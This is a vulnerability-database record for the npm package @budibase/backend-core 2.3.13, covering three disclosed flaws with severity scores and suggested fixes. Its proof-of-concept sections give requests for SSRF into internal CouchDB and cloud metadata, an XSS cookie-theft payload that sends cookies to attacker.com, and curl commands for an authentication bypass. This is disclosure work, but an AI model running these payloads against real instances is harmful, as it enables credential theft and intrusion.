Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40budibase/backend-core@2.3.13
Typenpm
Namespace@budibase
Namebackend-core
Version2.3.13
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.35.10
Latest_non_vulnerable_version3.38.2
Affected_by_vulnerabilities
0
url VCID-mxmy-n9d9-dbbd
vulnerability_id VCID-mxmy-n9d9-dbbd
summary
Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist
## 1. Summary

| Field | Value |
|-------|-------|
| **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |
| **Product** | Budibase |
| **Version** | 3.30.6 (latest stable as of 2026-02-25) |
| **Component** | REST Datasource Integration + Backend-Core Blacklist Module |
| **Severity** | Critical |
| **Attack Vector** | Network |
| **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |
| **User Interaction** | None |
| **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |

---

## 2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.

This allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because:
1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data
2. CouchDB credentials are embedded in the environment variables visible to the application container
3. A successful exploit grants full read/write access to the entire Budibase data layer

---

## 3. Root Cause Analysis

### 3.1 Blacklist Implementation

**File**: `packages/backend-core/src/blacklist/blacklist.ts`

```typescript
// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS
  const list = blacklist?.split(",") || []       // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blackListArray = final                         // ← empty array
}

// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false                                 // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}
```

**Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.

### 3.2 Default Configuration Missing BLACKLIST_IPS

**File**: `hosting/.env` (official Docker Compose deployment template)

```env
MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present
```

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

### 3.3 REST Integration Blacklist Check

**File**: `packages/server/src/integrations/rest.ts`

```typescript
// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) {     // ← always false
  throw new Error("Cannot connect to URL.")   // ← never reached
}
// Line 708:
response = await fetch(url, input)             // ← unrestricted fetch
```

### 3.4 Authorization Model

| Operation | Endpoint | Required Permission |
|-----------|----------|-------------------|
| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |
| Create query | `POST /api/queries` | `BUILDER` (app-level) |
| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |

**Route definitions**:
- `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes`
- `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create)
- `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)

**Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.

---

## 4. Impact Analysis

### 4.1 Confidentiality — Critical

An attacker can read:
- **All CouchDB databases** (`/_all_dbs`)
- **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)
- **Platform configuration** including encryption keys, JWT secrets
- **All application data** across every app in the instance
- **Internal service metadata** (MinIO storage, Redis)

### 4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:
- **Modify user records** to escalate privileges
- **Create new admin accounts** directly in CouchDB
- **Alter application data** in any app's database
- **Delete databases** causing data loss

### 4.3 Availability — Medium

- **Resource exhaustion** by making the server proxy large responses from internal services
- **Database destruction** via CouchDB DELETE operations
- **Service disruption** by modifying critical configuration documents

### 4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:
- CouchDB (database layer)
- MinIO (storage layer)
- Redis (cache/session layer)
- Any other service accessible from the Docker network

---

## 5. Proof of Concept

### 5.1 Environment Setup

```bash
cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie
```

**Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`

### 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

```http
POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}
```

**Response** (201 — datasource created successfully):
```json
{
  "datasource": {
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
    "name": "Internal CouchDB",
    "source": "REST",
    "config": { "url": "http://couchdb-service:5984" }
  }
}
```

No warning, no validation error — an internal hostname is accepted without restriction.

### 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to `GET /`:

```http
POST /api/v2/queries/<query_id> HTTP/1.1
```

**Response** — Internal CouchDB data returned to the attacker:
```json
{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}
```

### 5.4 Step 3 — Enumerate All Databases

Query: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)

```json
{
  "data": [
    {"value": "_replicator"},
    {"value": "_users"},
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
    {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
    {"value": "global-db"},
    {"value": "global-info"}
  ]
}
```

### 5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: `GET /global-db/_all_docs?include_docs=true&limit=20`
Headers: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)

**Response** — Full user record with bcrypt hash:
```json
{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "admin@test.com",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}
```

**Exfiltrated data includes**:
- Admin email: `admin@test.com`
- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK`
- Role information: `builder.global: true`, `admin.global: true`
- Tenant ID, platform URL, quota information

### 5.6 Step 5 — Access Other Internal Services

**MinIO (Object Storage)**:
```
Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO
```
Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

**Redis (Port Scanning)**:
```
Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)
```
Different error from non-existent host → confirms service discovery capability.

**Non-existent service**:
```
Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"
```

### 5.7 Service Discovery Matrix

| Target | URL | Response | Service Confirmed |
|--------|-----|----------|-------------------|
| CouchDB | `http://couchdb-service:5984/` | `{"couchdb":"Welcome","version":"3.3.3"}` | Yes — full data access |
| MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes — storage access |
| Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes — port open |
| Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No — different error |

This differential response enables internal network mapping.

---

## 6. Attack Scenarios

### Scenario A: Builder User Steals All Credentials
1. User has `Builder` role for one app
2. Creates REST datasource → `http://couchdb-service:5984`
3. Queries `global-db` to get all user records with password hashes
4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)
1. Attacker has `Creator` role (lower than Builder)
2. Exploits CVE-2026-25040 to invite themselves as Admin
3. Now has Builder access → exploits this SSRF
4. Complete instance takeover

### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)
1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`
2. Retrieves IAM credentials, instance metadata
3. Pivots to cloud infrastructure

---

## 7. Affected Code Paths

```
User Request
    │
    ▼
POST /api/datasources                          [BUILDER permission]
    │  packages/server/src/api/routes/datasource.ts:32
    │  → No URL validation on datasource.config.url
    ▼
POST /api/v2/queries/:queryId                  [QUERY WRITE permission]
    │  packages/server/src/api/routes/query.ts:63
    ▼
packages/server/src/threads/query.ts
    │  → Executes query via REST integration
    ▼
packages/server/src/integrations/rest.ts
    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)
    │  Line 708: fetch(url, input)              → unrestricted request
    ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
    │
    ▼
Response returned to attacker via query results
```

---

## 8. Recommended Fixes

### Fix 1 (Critical): Add Default Private IP Blocklist

```typescript
// packages/backend-core/src/blacklist/blacklist.ts

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",       // localhost
  "10.0.0.0/8",        // RFC1918
  "172.16.0.0/12",     // RFC1918
  "192.168.0.0/16",    // RFC1918
  "169.254.0.0/16",    // link-local / cloud metadata
  "0.0.0.0/8",         // current network
  "::1/128",           // IPv6 localhost
  "fc00::/7",          // IPv6 private
  "fe80::/10",         // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}
```

### Fix 2 (High): Validate Datasource URLs at Creation Time

```typescript
// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}
```

### Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-31818
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02527
published_at 2026-06-08T12:55:00Z
1
value 0.00014
scoring_system epss
scoring_elements 0.02543
published_at 2026-06-07T12:55:00Z
2
value 0.00014
scoring_system epss
scoring_elements 0.02598
published_at 2026-06-06T12:55:00Z
3
value 0.00014
scoring_system epss
scoring_elements 0.02595
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-31818
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/
url https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732
3
reference_url https://github.com/Budibase/budibase/pull/18236
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/
url https://github.com/Budibase/budibase/pull/18236
4
reference_url https://github.com/Budibase/budibase/releases/tag/3.33.4
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/
url https://github.com/Budibase/budibase/releases/tag/3.33.4
5
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-31818
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-31818
7
reference_url https://github.com/advisories/GHSA-7r9j-r86q-7g45
reference_id GHSA-7r9j-r86q-7g45
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7r9j-r86q-7g45
fixed_packages
0
url pkg:npm/%40budibase/backend-core@3.33.4
purl pkg:npm/%40budibase/backend-core@3.33.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-xq5x-uvcw-ykb8
1
vulnerability VCID-yxk1-2d8w-hkau
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@3.33.4
aliases CVE-2026-31818, GHSA-7r9j-r86q-7g45
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mxmy-n9d9-dbbd
1
url VCID-xq5x-uvcw-ykb8
vulnerability_id VCID-xq5x-uvcw-ykb8
summary
Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover
### Summary

The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.

### Details

`packages/backend-core/src/utils/utils.ts`, lines 215-226:

```typescript
const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)
```

This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.

Missing flags:
- `httpOnly: false` → should be `true` (prevent JS access)
- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)
- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)

### PoC

Any XSS payload can steal the session:

```javascript
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
```

With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
1. Create an entity with a name containing `<script>` payload
2. Any user who views that entity has their JWT stolen
3. Attacker uses the JWT for persistent account access

### Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

## ATTACHMENTS

[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)

---
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42239
reference_id
reference_type
scores
0
value 0.00036
scoring_system epss
scoring_elements 0.11249
published_at 2026-06-05T12:55:00Z
1
value 0.00036
scoring_system epss
scoring_elements 0.11208
published_at 2026-06-07T12:55:00Z
2
value 0.00036
scoring_system epss
scoring_elements 0.11242
published_at 2026-06-06T12:55:00Z
3
value 0.0004
scoring_system epss
scoring_elements 0.1222
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42239
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/releases/tag/3.35.10
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:39:21Z/
url https://github.com/Budibase/budibase/releases/tag/3.35.10
3
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:39:21Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-42239
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-42239
5
reference_url https://github.com/advisories/GHSA-4f9j-vr4p-642r
reference_id GHSA-4f9j-vr4p-642r
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4f9j-vr4p-642r
fixed_packages
0
url pkg:npm/%40budibase/backend-core@3.35.10
purl pkg:npm/%40budibase/backend-core@3.35.10
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@3.35.10
aliases CVE-2026-42239, GHSA-4f9j-vr4p-642r
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xq5x-uvcw-ykb8
2
url VCID-yxk1-2d8w-hkau
vulnerability_id VCID-yxk1-2d8w-hkau
summary
Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
### Summary

The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.

### Details

**Step 1 — Public endpoint patterns compiled without anchors**

`packages/backend-core/src/middleware/matchers.ts`, line 26:

```typescript
return { regex: new RegExp(route), method, route }
```

No `^` prefix, no `$` suffix. The regex matches anywhere in the test string.

**Step 2 — Regex tested against full URL including query string**

`packages/backend-core/src/middleware/matchers.ts`, line 32:

```typescript
const urlMatch = regex.test(ctx.request.url)
```

Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.

**Step 3 — publicEndpoint flag set to true**

`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:

```typescript
const found = matches(ctx, noAuthOptions)
if (found) {
  publicEndpoint = true
}
```

**Step 4 — Worker's global auth check skipped**

`packages/worker/src/api/index.ts`, lines 160-162:

```typescript
.use((ctx, next) => {
  if (ctx.publicEndpoint) {
    return next()        // ← SKIPS the auth check below
  }
  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
    ctx.throw(403, "Unauthorized")   // ← never reached
  }
})
```

When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.

**Step 5 — Routes without per-route auth middleware are exposed**

`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:

```typescript
export const loggedInRoutes = endpointGroupList.group()   // no middleware
```

Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.

**Affected endpoints (no per-route auth — fully exposed):**
- `POST /api/global/users/search` — search all users (emails, names, roles)
- `GET /api/global/self` — get current user info
- `GET /api/global/users/accountholder` — account holder lookup
- `GET /api/global/template/definitions` — template definitions
- `POST /api/global/license/refresh` — refresh license
- `POST /api/global/event/publish` — publish events

**Not affected (have secondary per-route auth that blocks undefined user):**
- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403
- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it

### PoC

```bash
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search"
403

# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"admin@example.com","admin":{"global":true},...}],...}
```

Without auth → 403. With `?x=/api/system/status` → returns all users.

Any public endpoint pattern works as the bypass value:
- `?x=/api/system/status`
- `?x=/api/system/environment`
- `?x=/api/global/configs/public`
- `?x=/api/global/auth/default`

### Impact

An unauthenticated attacker can:
1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`
2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`
3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`
4. **Publish events** — inject events into the event system via `/api/global/event/publish`

The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.

Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.

### Suggested Fix

Two options (both should be applied):

**Option A — Anchor the regex:**
```typescript
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
```

**Option B — Use ctx.request.path instead of ctx.request.url:**
```typescript
// matchers.ts line 32
const urlMatch = regex.test(ctx.request.path)  // excludes query string
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41428
reference_id
reference_type
scores
0
value 0.00104
scoring_system epss
scoring_elements 0.27918
published_at 2026-06-05T12:55:00Z
1
value 0.00104
scoring_system epss
scoring_elements 0.27781
published_at 2026-06-08T12:55:00Z
2
value 0.00104
scoring_system epss
scoring_elements 0.2783
published_at 2026-06-07T12:55:00Z
3
value 0.00104
scoring_system epss
scoring_elements 0.27868
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41428
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-24T20:00:28Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41428
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41428
4
reference_url https://github.com/advisories/GHSA-8783-3wgf-jggf
reference_id GHSA-8783-3wgf-jggf
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8783-3wgf-jggf
fixed_packages
aliases CVE-2026-41428, GHSA-8783-3wgf-jggf
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-yxk1-2d8w-hkau
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@2.3.13